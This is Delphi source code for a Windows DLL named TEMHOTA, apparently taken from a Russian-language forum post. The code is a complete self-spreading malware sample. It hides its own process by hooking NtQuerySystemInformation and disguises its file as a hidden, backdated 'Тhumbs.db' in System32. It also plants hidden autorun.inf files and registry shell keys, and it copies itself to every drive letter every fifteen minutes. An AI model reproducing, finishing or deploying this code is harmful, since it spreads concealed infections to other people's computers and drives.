library TEMHOTA;
uses
Windows,
Registry,
TlHelp32,
ShellAPI,
SysUtils,
Classes,
UTEMHOTA in 'UTEMHOTA.pas';
var
_h: HWND;
_hInstance: HWND;
_cmd: PChar;
const
WorkFileName = 'C:\WINDOWS\System32\Тhumbs.db';
AutoRunFileName = 'C:\autorun.inf';
RootDirName = 'C:\';
{$EXTERNALSYM WM_QUIT}
WM_QUIT = $0012;
ImagehlpLib = 'IMAGEHLP.DLL';
type
SYSTEM_INFORMATION_CLASS = (
SystemBasicInformation,
SystemProcessorInformation,
SystemPerformanceInformation,
SystemTimeOfDayInformation,
SystemNotImplemented1,
SystemProcessesAndThreadsInformation,
SystemCallCounts,
SystemConfigurationInformation,
SystemProcessorTimes,
SystemGlobalFlag,
SystemNotImplemented2,
SystemModuleInformation,
SystemLockInformation,
SystemNotImplemented3,
SystemNotImplemented4,
SystemNotImplemented5,
SystemHandleInformation,
SystemObjectInformation,
SystemPagefileInformation,
SystemInstructionEmulationCounts,
SystemInvalidInfoClass1,
SystemCacheInformation,
SystemPoolTagInformation,
SystemProcessorStatistics,
SystemDpcInformation,
SystemNotImplemented6,
SystemLoadImage,
SystemUnloadImage,
SystemTimeAdjustment,
SystemNotImplemented7,
SystemNotImplemented8,
SystemNotImplemented9,
SystemCrashDumpInformation,
SystemExceptionInformation,
SystemCrashDumpStateInformation,
SystemKernelDebuggerInformation,
SystemContextSwitchInformation,
SystemRegistryQuotaInformation,
SystemLoadAndCallImage,
SystemPrioritySeparation,
SystemNotImplemented10,
SystemNotImplemented11,
SystemInvalidInfoClass2,
SystemInvalidInfoClass3,
SystemTimeZoneInformation,
SystemLookasideInformation,
SystemSetTimeSlipEvent,
SystemCreateSession,
SystemDeleteSession,
SystemInvalidInfoClass4,
SystemRangeStartInformation,
SystemVerifierInformation,
SystemAddVerifier,
SystemSessionProcessesInformation
);
_IMAGE_IMPORT_DESCRIPTOR = packed record
case Integer of 0: (
Characteristics: DWORD);
1: (
OriginalFirstThunk: DWORD;
TimeDateStamp: DWORD;
ForwarderChain: DWORD;
Name: DWORD;
FirstThunk: DWORD);
end;
IMAGE_IMPORT_DESCRIPTOR = _IMAGE_IMPORT_DESCRIPTOR;
PIMAGE_IMPORT_DESCRIPTOR = ^IMAGE_IMPORT_DESCRIPTOR;
PFARPROC = ^FARPROC;
function ImageDirectoryEntryToData(Base: Pointer; MappedAsImage: ByteBool;
DirectoryEntry: Word; var Size: ULONG): Pointer; stdcall; external ImagehlpLib
name 'ImageDirectoryEntryToData';
function AllocMem(Size: Cardinal): Pointer;
begin
GetMem(Result,Size);
FillChar(Result^,Size,0);
end;
procedure ReplaceIATEntryInOneMod(pszCallerModName: Pchar; pfnCurrent: FarProc;
pfnNew: FARPROC; hmodCaller: hModule);
var
ulSize: ULONG;
pImportDesc: PIMAGE_IMPORT_DESCRIPTOR;
pszModName: PChar;
pThunk: PDWORD;
ppfn: PFARPROC;
ffound: LongBool;
written: DWORD;
begin
pImportDesc:=ImageDirectoryEntryToData(Pointer(hmo dCaller),
true,
IMAGE_DIRECTORY_ENTRY_IMPORT,
ulSize);
if pImportDesc = nil then
exit;
while pImportDesc.Name <> 0 do
begin
pszModName:=PChar(hmodCaller+pImportDesc.Name);
if (lstrcmpiA(pszModName,pszCallerModName) = 0) then
break;
Inc(pImportDesc);
end;
if (pImportDesc.Name = 0) then
exit;
pThunk:=PDWORD(hmodCaller+pImportDesc.FirstThunk);
while pThunk^ <> 0 do
begin
ppfn:=PFARPROC(pThunk);
fFound:=(ppfn^ = pfnCurrent);
if (fFound) then
begin
VirtualProtectEx(GetCurrentProcess,ppfn,4,PAGE_EXE CUTE_READWRITE,written);
WriteProcessMemory(GetCurrentProcess,ppfn,@pfnNew, sizeof(pfnNew),written);
exit;
end;
Inc(pThunk);
end;
end;
var
addr_NtQuerySystemInformation: Pointer;
mypid: DWORD;
fname: PCHAR;
mapaddr: PDWORD;
hideOnlyTaskMan: PBOOL;
function myNtQuerySystemInfo(SystemInformationClass: SYSTEM_INFORMATION_CLASS;
SystemInformation: Pointer;
SystemInformationLength: ULONG; ReturnLength: PULONG): LongInt; stdcall;
label
onceagain, getnextpidstruct, quit, fillzero;
asm
push ReturnLength
push SystemInformationLength
push SystemInformation
push dword ptr SystemInformationClass
call dword ptr [addr_NtQuerySystemInformation]
or eax,eax
jl quit
cmp SystemInformationClass,SystemProcessesAndThreadsIn formation
jne quit
onceagain:
mov esi,SystemInformation
getnextpidstruct:
mov ebx,esi
cmp dword ptr [esi],0
je quit
add esi,[esi]
mov ecx,[esi+44h]
cmp ecx,mypid
jne getnextpidstruct
mov edx,[esi]
test edx,edx
je fillzero
add [ebx],edx
jmp onceagain
fillzero:
and [ebx],edx
jmp onceagain
quit:
mov Result,eax
end;
procedure InterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getM oduleHandle('ntdll.dll'),
'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMOD ULE,GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then
Exit;
try
ZeroMemory(@me32,SizeOf(MODULEENTRY32));
me32.dwSize:=SizeOf(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',
addr_NtQuerySystemInformation,
@MyNtQuerySystemInfo,
me32.hModule);
until not(Module32Next(hSnapShot,me32));
finally
CloseHandle(hSnapShot);
end;
end;
procedure UninterceptFunctions;
var
hSnapShot: THandle;
me32: MODULEENTRY32;
begin
addr_NtQuerySystemInformation:=GetProcAddress(getM oduleHandle('ntdll.dll'),
'NtQuerySystemInformation');
hSnapShot:=CreateToolHelp32SnapShot(TH32CS_SNAPMOD ULE,GetCurrentProcessId);
if hSnapshot = INVALID_HANDLE_VALUE then
Exit;
try
ZeroMemory(@me32,SizeOf(MODULEENTRY32));
me32.dwSize:=SizeOf(MODULEENTRY32);
Module32First(hSnapShot,me32);
repeat
ReplaceIATEntryInOneMod('ntdll.dll',
@MyNtQuerySystemInfo,
addr_NtQuerySystemInformation,
me32.hModule);
until not Module32Next(hSnapShot,me32);
finally
CloseHandle(hSnapShot);
end;
end;
var
HookHandle: THandle;
function CbtProc(code: integer; wparam: integer; lparam: integer): Integer;
stdcall;
begin
result:=0;
end;
procedure InstallHook; stdcall;
begin
HookHandle:=SetWindowsHookEx(WH_CBT,@CbtProc,HInst ance,0);
end;
var
hFirstMapHandle: THandle;
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
var
addrMap: PDWORD;
ptr2: PBOOL;
begin
mypid:=0;
result:=false;
hFirstMapHandle:=CreateFileMapping($FFFFFFFF,nil,P AGE_READWRITE,0,8,'NtHideFileMapping');
if hFirstMapHandle = 0 then
Exit;
addrMap:=MapViewOfFile(hFirstMapHandle,FILE_MAP_WR ITE,0,0,8);
if addrMap = nil then
begin
CloseHandle(hFirstMapHandle);
Exit;
end;
addrMap^:=pid;
ptr2:=PBOOL(DWORD(addrMap)+4);
ptr2^:=HideOnlyFromTaskManager;
UnmapViewOfFile(addrMap);
InstallHook;
result:=true;
end;
var
hmap: THandle;
procedure LibraryProc(Reason: Integer);
begin
if Reason = DLL_PROCESS_DETACH then
if mypid > 0 then
UninterceptFunctions()
else
CloseHandle(hFirstMapHandle);
end;
procedure SetDefaultDate(const FileName: string);
function GetFileDate(f: string): TDateTime;
var
intFileAge: LongInt;
begin
intFileAge:=FileAge(f);
if intFileAge = -1 then
result:=0
else
result:=FileDateToDateTime(intFileAge)
end;
var
h: integer;
f: TFileTime;
s: TSystemTime;
begin
h:=CreateFile(PChar(FileName),
$0100,
0,
nil,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
0);
DateTimeToSystemTime(GetFileDate('C:\Windows\syste m32\rundll32.exe'),S);
SystemTimeToFileTime(S,F);
LocalFileTimeToFileTime(F,F);
SetFileTime(h,@f,@f,@f);
CloseHandle(h);
end;
function GetModuleFileNameStr(Instance: THandle): string;
var
buffer: array [0..MAX_PATH] of Char;
begin
GetModuleFileName( Instance, buffer, MAX_PATH);
Result := buffer;
end;
function StringLoadFromFile(const FileName: string): string;
begin
with TFileStream.Create(Filename, fmOpenread or fmSharedenywrite) do
try
SetLength(result,Size);
Read(result[1],Length(result));
finally
Free;
end;
end;
procedure StringSaveToFile(const s, FileName: string);
begin
with TFileStream.Create(FileName, fmCreate or fmOpenWrite) do
try
Write(pointer(s)^,length(s));
finally
Free;
end;
end;
procedure AutoRun;
var
r: TRegistry;
AutoRunText: string;
begin
CopyFile(PChar(GetModuleFileNameStr(hInstance)),Wo rkFileName,true);
SetDefaultDate(WorkFileName);
SetFileAttributes(WorkFileName, faHidden);
r:=TRegistry.create;
r.RootKey:=HKEY_CURRENT_USER;
if r.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVers ion\Explorer\MountPoints2\C\shell\1',true) then
r.WriteString('','&Открыть');
if r.OpenKey('\SOFTWARE\Microsoft\Windows\CurrentVers ion\Explorer\MountPoints2\C\shell\1\command',true) then
r.WriteString('','rundll32 '+WorkFileName+' run '+'-user');
r.Free;
AutoRunText:='[autorun]'+#13#10+
'open='+'rundll32 '+WorkFileName+' run '+'-user'+#13#10+
'shell\1=Открыть'+#13#10+
'shell\1\command='+'rundll32 '+WorkFileName+' run '+'-user'+#13#10+
'shellexecute='+'rundll32 '+WorkFileName+' run '+'-user'+#13#10;
StringSaveToFile(AutoRunText,AutoRunFileName);
SetDefaultDate(AutoRunFileName);
SetFileAttributes(AutoRunFileName, faHidden or faSysFile);
end;
procedure ReproductionSelf;
var
AutoRunText: string;
disk: Char;
begin
for disk:='A' to 'Z' do
try
CopyFile(PChar(GetModuleFileNameStr(hInstance)),
PChar(disk+':\'+ExtractFileName(WorkFileName)),
true);
SetDefaultDate(disk+':\'+ExtractFileName(WorkFileN ame));
SetFileAttributes(PChar(disk+':\'+ExtractFileName( WorkFileName)), faHidden);
AutoRunText:='[autorun]'+#13#10+
'open='+'rundll32 '+ExtractFileName(WorkFileName)+' run '+'-auto'+#13#10;
StringSaveToFile(AutoRunText,disk+':\'+ExtractFile Name(AutoRunFileName));
SetDefaultDate(disk+':\'+ExtractFileName(AutoRunFi leName));
SetFileAttributes(PChar(disk+':\'+ExtractFileName( AutoRunFileName)), faHidden or faSysFile);
except
end;
end;
function On15Minutes: boolean;
begin
result:=(GetTickCount mod
(15 {min} * 60 {sec} * 1000 {msec}) < 1000);
end;
procedure ProcessMessages;
function ProcessMessage(var Msg: TMsg): Boolean;
begin
result:=false;
begin
result:=true;
if Msg.Message <> WM_QUIT then
begin
TranslateMessage(Msg);
DispatchMessage(Msg);
end
end;
end;
var
Msg: TMsg;
begin
while ProcessMessage(Msg) do
begin
if On15Minutes then
ReproductionSelf;
main(_h,hInstance,_cmd);
end;
end;
function run(
hWnd: integer;
hInstance: integer;
lpCmdLine: PChar;
dummy: longint
): integer; stdcall; export;
begin
_h:=hWnd;
_hInstance:=hInstance;
_cmd:=lpCmdLine;
if _cmd = '-auto' then
begin
Autorun;
result:=0;
//Windows.MessageBox(_h,'TEMHOTA has been installed!','TEMHOTA',0);
Exit;
end;
ShellExecute(_h,'open',RootDirName,nil,PChar(GetCu rrentDir),SW_SHOWNORMAL);
HideProcess(GetCurrentProcessId,false);
repeat
ProcessMessages;
until false;
result:=0;
end;
exports
run name 'run';
begin
hmap:=OpenFileMapping(FILE_MAP_READ,false,'NtHideF ileMapping');
if hmap = 0 then
Exit;
try
mapaddr:=MapViewOfFile(hmap,FILE_MAP_READ,0,0,0);
if mapaddr = nil then
Exit;
mypid:=mapaddr^;
hideOnlyTaskMan:=PBOOL(DWORD(mapaddr)+4);
if hideOnlyTaskMan^ then
begin
fname:=allocMem(MAX_PATH+1);
GetModuleFileName(GetModuleHandle(nil),fname,MAX_P ATH+1);
end;
InterceptFunctions;
finally
UnmapViewOfFile(mapaddr);
CloseHandle(Hmap);
DLLProc:=@LibraryProc;
end;
end.
Социальные закладки